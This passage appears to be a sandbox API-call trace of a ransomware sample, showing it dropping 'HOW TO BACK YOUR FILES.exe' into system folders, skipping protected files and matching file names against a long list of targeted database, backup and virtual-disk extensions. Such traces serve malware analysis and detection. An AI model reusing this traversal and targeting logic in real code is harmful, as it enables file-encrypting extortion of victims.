cFileName="1033", cAlternateFileName="")) returned 1 [0118.965] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.965] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.965] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0118.965] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0118.965] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0118.966] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0118.966] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0118.966] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0118.966] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0118.966] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0118.966] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0118.966] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0118.966] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0118.966] lstrlenW (lpString="1033") returned 4 [0118.966] lstrcpyW (in: lpString1=0x241e8a0, lpString2="1033" | out: lpString1="1033") returned="1033" [0118.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af78 [0118.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52eeb0 [0118.966] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0118.966] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0118.966] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0118.968] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1bed20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.968] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.968] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1bed20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0118.969] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0118.969] ReleaseMutex (hMutex=0xec) returned 1 [0118.969] CloseHandle (hObject=0xec) returned 1 [0118.969] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB") returned="C:\\Program Files\\Common Files\\System\\Ole DB" [0118.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528d10 | out: hHeap=0x4f0000) returned 1 [0118.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf30 | out: hHeap=0x4f0000) returned 1 [0118.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB") returned 43 [0118.969] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\ADF989E109BFB039AD195FEF5588396E") returned 0xec [0118.969] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0118.969] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\Ole DB" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB") returned="C:\\Program Files\\Common Files\\System\\Ole DB" [0118.969] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0118.969] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ole db\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ole db\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0118.970] GetLastError () returned 0x0 [0118.970] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0118.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0118.970] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0118.971] CloseHandle (hObject=0xf4) returned 1 [0118.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.971] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0118.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce1bed20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0118.971] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.971] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.971] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0118.971] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce1bed20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.971] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.971] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.971] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0118.971] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0118.971] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0118.971] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.971] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.971] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0118.971] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0118.971] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0118.971] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0118.971] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0118.972] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0118.972] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0118.972] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0118.972] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0118.972] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0118.972] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0118.972] lstrlenW (lpString="en-US") returned 5 [0118.972] lstrcpyW (in: lpString1=0x241e8a0, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0118.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf30 [0118.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52ee40 [0118.972] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0118.972] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0118.972] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0118.976] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1bed20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.976] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.976] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2=".") returned 1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="..") returned 1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="windows") returned -1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="bootmgr") returned 1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="temp") returned -1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="pagefile.sys") returned -1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="boot") returned 1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="ids.txt") returned 1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="ntuser.dat") returned -1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="perflogs") returned -1 [0118.976] lstrcmpiW (lpString1="msdaosp.dll", lpString2="MSBuild") returned 1 [0118.976] lstrlenW (lpString="msdaosp.dll") returned 11 [0118.976] lstrcpyW (in: lpString1=0x241e8a0, lpString2="msdaosp.dll" | out: lpString1="msdaosp.dll") returned="msdaosp.dll" [0118.977] lstrlenW (lpString="msdaosp.dll") returned 11 [0118.977] lstrlenW (lpString="Athena865") returned 9 [0118.977] lstrcmpiW (lpString1="daosp.dll", lpString2="Athena865") returned 1 [0118.977] lstrlenW (lpString=".dll") returned 4 [0118.977] lstrcmpiW (lpString1="msdaosp.dll", lpString2=".dll") returned 1 [0118.977] lstrlenW (lpString=".lnk") returned 4 [0118.977] lstrcmpiW (lpString1="msdaosp.dll", lpString2=".lnk") returned 1 [0118.977] lstrlenW (lpString=".ini") returned 4 [0118.977] lstrcmpiW (lpString1="msdaosp.dll", lpString2=".ini") returned 1 [0118.977] lstrlenW (lpString=".sys") returned 4 [0118.977] lstrcmpiW (lpString1="msdaosp.dll", lpString2=".sys") returned 1 [0118.977] lstrlenW (lpString="msdaosp.dll") returned 11 [0118.977] lstrlenW (lpString="bak") returned 3 [0118.977] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.977] lstrlenW (lpString="ba_") returned 3 [0118.977] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.977] lstrlenW (lpString="dbb") returned 3 [0118.977] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.977] lstrlenW (lpString="vmdk") returned 4 [0118.977] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.977] lstrlenW (lpString="rar") returned 3 [0118.977] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.977] lstrlenW (lpString="zip") returned 3 [0118.977] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.977] lstrlenW (lpString="tgz") returned 3 [0118.977] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.977] lstrlenW (lpString="vbox") returned 4 [0118.977] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.977] lstrlenW (lpString="vdi") returned 3 [0118.977] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.977] lstrlenW (lpString="vhd") returned 3 [0118.978] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.978] lstrlenW (lpString="vhdx") returned 4 [0118.978] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.978] lstrlenW (lpString="avhd") returned 4 [0118.978] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.978] lstrlenW (lpString="db") returned 2 [0118.978] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.978] lstrlenW (lpString="db2") returned 3 [0118.978] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.978] lstrlenW (lpString="db3") returned 3 [0118.978] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.978] lstrlenW (lpString="dbf") returned 3 [0118.978] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.978] lstrlenW (lpString="mdf") returned 3 [0118.978] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.978] lstrlenW (lpString="mdb") returned 3 [0118.978] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.978] lstrlenW (lpString="sql") returned 3 [0118.978] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.978] lstrlenW (lpString="sqlite") returned 6 [0118.978] lstrcmpiW (lpString1="sp.dll", lpString2="sqlite") returned -1 [0118.978] lstrlenW (lpString="sqlite3") returned 7 [0118.978] lstrcmpiW (lpString1="osp.dll", lpString2="sqlite3") returned -1 [0118.978] lstrlenW (lpString="sqlitedb") returned 8 [0118.978] lstrcmpiW (lpString1="aosp.dll", lpString2="sqlitedb") returned -1 [0118.978] lstrlenW (lpString="xml") returned 3 [0118.978] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.978] lstrlenW (lpString="$er") returned 3 [0118.978] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.979] lstrlenW (lpString="4dd") returned 3 [0118.979] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.979] lstrlenW (lpString="4dl") returned 3 [0118.979] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.979] lstrlenW (lpString="^^^") returned 3 [0118.979] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.979] lstrlenW (lpString="abs") returned 3 [0118.979] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.979] lstrlenW (lpString="abx") returned 3 [0118.979] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.979] lstrlenW (lpString="accdb") returned 5 [0118.979] lstrcmpiW (lpString1="p.dll", lpString2="accdb") returned 1 [0118.979] lstrlenW (lpString="accdc") returned 5 [0118.979] lstrcmpiW (lpString1="p.dll", lpString2="accdc") returned 1 [0118.979] lstrlenW (lpString="accde") returned 5 [0118.979] lstrcmpiW (lpString1="p.dll", lpString2="accde") returned 1 [0118.979] lstrlenW (lpString="accdr") returned 5 [0118.979] lstrcmpiW (lpString1="p.dll", lpString2="accdr") returned 1 [0118.979] lstrlenW (lpString="accdt") returned 5 [0118.979] lstrcmpiW (lpString1="p.dll", lpString2="accdt") returned 1 [0118.979] lstrlenW (lpString="accdw") returned 5 [0118.979] lstrcmpiW (lpString1="p.dll", lpString2="accdw") returned 1 [0118.979] lstrlenW (lpString="accft") returned 5 [0118.979] lstrcmpiW (lpString1="p.dll", lpString2="accft") returned 1 [0118.979] lstrlenW (lpString="adb") returned 3 [0118.979] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.979] lstrlenW (lpString="adb") returned 3 [0118.979] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.979] lstrlenW (lpString="ade") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.980] lstrlenW (lpString="adf") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.980] lstrlenW (lpString="adn") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.980] lstrlenW (lpString="adp") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.980] lstrlenW (lpString="alf") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.980] lstrlenW (lpString="ask") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.980] lstrlenW (lpString="btr") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.980] lstrlenW (lpString="cat") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.980] lstrlenW (lpString="cdb") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.980] lstrlenW (lpString="ckp") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.980] lstrlenW (lpString="cma") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.980] lstrlenW (lpString="cpd") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.980] lstrlenW (lpString="dacpac") returned 6 [0118.980] lstrcmpiW (lpString1="sp.dll", lpString2="dacpac") returned 1 [0118.980] lstrlenW (lpString="dad") returned 3 [0118.980] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.981] lstrlenW (lpString="dadiagrams") returned 10 [0118.981] lstrcmpiW (lpString1="sdaosp.dll", lpString2="dadiagrams") returned 1 [0118.981] lstrlenW (lpString="daschema") returned 8 [0118.981] lstrcmpiW (lpString1="aosp.dll", lpString2="daschema") returned -1 [0118.981] lstrlenW (lpString="db-journal") returned 10 [0118.981] lstrcmpiW (lpString1="sdaosp.dll", lpString2="db-journal") returned 1 [0118.981] lstrlenW (lpString="db-shm") returned 6 [0118.981] lstrcmpiW (lpString1="sp.dll", lpString2="db-shm") returned 1 [0118.981] lstrlenW (lpString="db-wal") returned 6 [0118.981] lstrcmpiW (lpString1="sp.dll", lpString2="db-wal") returned 1 [0118.981] lstrlenW (lpString="dbc") returned 3 [0118.981] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.981] lstrlenW (lpString="dbs") returned 3 [0118.981] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.981] lstrlenW (lpString="dbt") returned 3 [0118.981] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.981] lstrlenW (lpString="dbv") returned 3 [0118.981] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.981] lstrlenW (lpString="dbx") returned 3 [0118.981] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.981] lstrlenW (lpString="dcb") returned 3 [0118.981] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.981] lstrlenW (lpString="dct") returned 3 [0118.981] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.981] lstrlenW (lpString="dcx") returned 3 [0118.981] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.981] lstrlenW (lpString="ddl") returned 3 [0118.981] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.981] lstrlenW (lpString="dlis") returned 4 [0118.982] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0118.982] lstrlenW (lpString="dp1") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0118.982] lstrlenW (lpString="dqy") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0118.982] lstrlenW (lpString="dsk") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0118.982] lstrlenW (lpString="dsn") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0118.982] lstrlenW (lpString="dtsx") returned 4 [0118.982] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0118.982] lstrlenW (lpString="dxl") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0118.982] lstrlenW (lpString="eco") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0118.982] lstrlenW (lpString="ecx") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0118.982] lstrlenW (lpString="edb") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0118.982] lstrlenW (lpString="epim") returned 4 [0118.982] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0118.982] lstrlenW (lpString="fcd") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0118.982] lstrlenW (lpString="fdb") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0118.982] lstrlenW (lpString="fic") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0118.982] lstrlenW (lpString="flexolibrary") returned 12 [0118.982] lstrlenW (lpString="fm5") returned 3 [0118.982] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0118.983] lstrlenW (lpString="fmp") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0118.983] lstrlenW (lpString="fmp12") returned 5 [0118.983] lstrcmpiW (lpString1="p.dll", lpString2="fmp12") returned 1 [0118.983] lstrlenW (lpString="fmpsl") returned 5 [0118.983] lstrcmpiW (lpString1="p.dll", lpString2="fmpsl") returned 1 [0118.983] lstrlenW (lpString="fol") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0118.983] lstrlenW (lpString="fp3") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0118.983] lstrlenW (lpString="fp4") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0118.983] lstrlenW (lpString="fp5") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0118.983] lstrlenW (lpString="fp7") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0118.983] lstrlenW (lpString="fpt") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0118.983] lstrlenW (lpString="frm") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0118.983] lstrlenW (lpString="gdb") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.983] lstrlenW (lpString="gdb") returned 3 [0118.983] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.983] lstrlenW (lpString="grdb") returned 4 [0118.984] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0118.984] lstrlenW (lpString="gwi") returned 3 [0118.984] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0118.984] lstrlenW (lpString="hdb") returned 3 [0118.984] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0118.984] lstrlenW (lpString="his") returned 3 [0118.984] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0118.984] lstrlenW (lpString="ib") returned 2 [0118.984] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0118.984] lstrlenW (lpString="idb") returned 3 [0118.984] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0118.984] lstrlenW (lpString="ihx") returned 3 [0118.984] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0118.984] lstrlenW (lpString="itdb") returned 4 [0118.984] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0118.984] lstrlenW (lpString="itw") returned 3 [0118.984] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0118.984] lstrlenW (lpString="jet") returned 3 [0118.984] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0118.984] lstrlenW (lpString="jtx") returned 3 [0118.984] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0118.984] lstrlenW (lpString="kdb") returned 3 [0118.984] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0118.984] lstrlenW (lpString="kexi") returned 4 [0118.984] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0118.984] lstrlenW (lpString="kexic") returned 5 [0118.984] lstrcmpiW (lpString1="p.dll", lpString2="kexic") returned 1 [0118.984] lstrlenW (lpString="kexis") returned 5 [0118.984] lstrcmpiW (lpString1="p.dll", lpString2="kexis") returned 1 [0118.985] lstrlenW (lpString="lgc") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0118.985] lstrlenW (lpString="lwx") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0118.985] lstrlenW (lpString="maf") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0118.985] lstrlenW (lpString="maq") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0118.985] lstrlenW (lpString="mar") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0118.985] lstrlenW (lpString="marshal") returned 7 [0118.985] lstrcmpiW (lpString1="osp.dll", lpString2="marshal") returned 1 [0118.985] lstrlenW (lpString="mas") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0118.985] lstrlenW (lpString="mav") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0118.985] lstrlenW (lpString="maw") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0118.985] lstrlenW 